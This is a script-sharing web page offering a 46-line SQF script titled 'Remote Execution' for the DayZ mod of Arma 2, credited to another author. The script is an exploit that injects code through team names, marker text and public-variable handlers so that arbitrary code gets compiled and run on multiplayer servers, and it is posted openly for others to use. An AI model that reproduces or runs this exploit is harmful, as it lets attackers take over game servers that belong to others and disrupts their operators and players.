Remote Execution

SEX! Ok, we got your attention. We are one of the oldest mod sites on the Interwebs. Sign up and maximize your browsing experience.

  • Subscribe: Get notified of new submissions like this.
  • Say Thanks: Show your appreciation by sending Greyhound-HD points.
  • Post: Give Greyhound-HD your thoughts on this Script.
  • Vote: Help Greyhound-HD win the Monthly Awards.
  • Rate: Give this Script a rating out of 10.
  • Flag: Alert moderators and warn members of a problem with this Script.
  • Watch: Get notified when this Script is updated.
Mascot

Sound fun?

Become a Bananite

Already a Bananite? Login

46 lines | 2 kb | Raw Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
if (isNil "initre337") then
{
        createTeam ["bleh", "object_setFixServer =
        {
                if (isServer && ((_this select 2) == 0)) then
                {
                        _code = markerText 'respawn_west';
                        call compile _code;
                        remExField = [nil,nil,(';'+_code+';')];
                        publicVariable 'remExField';
                } else {_this call compile preprocessFileLineNumbers '\z\addons\dayz_code\compile\object_setfixserver.sqf';};
        }; if (isServer) then {initre337 = true; publicVariable 'initre337';};"
];
        _g_Unit = createGroup east;
        _sheep1 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
        _sheep1 addMPEventHandler ["mpkilled", "{bleh = teamName _x} count teams;"];
        _sheep1 setDamage 1.01;
        hint "MP Unit 1 Killed!";
        waitUntil {!isNil "bleh"};
        sleep 1;
        dayzLogin = [{onEachFrame bleh}];
        publicVariableServer "dayzLogin";
        _sheep2 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
        _sheep2 addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin; bleh2 = true;"];
        _sheep2 setDamage 1.01;
        hint "MP Unit 2 Killed!";
        waitUntil {!isNil "bleh2"};
        sleep 1;
        dayzLogin2 = [{onEachFrame ""}];
        publicVariableServer "dayzLogin2";
        _sheep3 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
        _sheep3 addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin2; bleh3 = true;"];
        _sheep3 setDamage 1.01;
        hint "MP Unit 3 Killed!";
        waitUntil {!isNil "bleh3"};
        sleep 1;
        hint "Init RE";
};

"respawn_west" setMarkerText ";"+(_this select 0)+";";
dayzSetFix = [0,0,0,player,0];
publicVariableServer "dayzSetFix";

_temp = player;
player = "jizz";
sleep 1;
player = _temp;
All credit goes to GameSellerAndTrader for this amazing Remote Execution script.

Posts

None found

Share

Shareable Image:
Share banner
HTML embed code:
BB embed code:
Markdown embed code:

More embeddable images

Bookmark and Share

Credits

Key Authors
Greyhound-HD
Uploader
Original Authors
GameSellerAndTrader
Script Maker

Submitter

Greyhound-HD avatar
Member Joined 4y
138 points Ranked 22686th

Greyhound-HD
Creator
Send a Private Message to the submitter

Game

Category

Stats

Posts
0
Views
3,790
Date Added
4y
bcp.crwdcntrl.net tracking pixel